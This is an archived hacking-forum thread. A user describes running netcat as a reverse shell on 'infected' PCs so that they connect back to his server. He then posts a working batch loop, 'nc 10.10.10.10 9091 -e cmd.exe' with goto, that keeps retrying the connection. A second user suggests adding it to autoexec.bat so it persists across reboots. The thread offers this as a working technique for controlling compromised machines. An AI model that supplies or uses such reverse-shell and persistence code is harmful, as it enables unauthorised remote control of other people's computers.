hacking contest

hacking exploits security forum
hacking
compliance articles
upgrade backup exec
information security consultant

Ralki
Hello,

Before i start, thanks in advanced for anyone that manages to help me out.

The issue i have is that i am running netcat as a reverse telnet shell so that the infected pc connects to one of my servers and then i am then given a command prompt on my server from the infected machine.
The issue is that some infected machines may be on dial up and have no internet connectivity straight away when logged in when the services are started so what i need to do is some how make a loop in a batch file to run netcat to repededltly try and connect to the server and then once it has connected i will need it to stop the loop and the batch file that is running will remain running.

Any suggestions are greatly appreciated, if you have any questions about using netcat for a reverse shell or file transfer ect please feel free to ask me.

Kindest Regards
Ralki
I have had an idea but am not sure how but any input will be appreciated.

I heard there is no while loop in batch so i thought mabey of using a vbs

The command to run will be nc.exe 10.10.10.10 9091 -e cmd.exe
Ralki
I have now over come this problem, for those of you that are intrested this is what the dos batch script contained.

:start
nc 10.10.10.10 9091 -e cmd.exe
goto start
toe
you could also add that batch script to the autoexec.bat and make it run every start up.

-toe
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.

 
Invision Power Board © 2001-2005 Invision Power Services, Inc.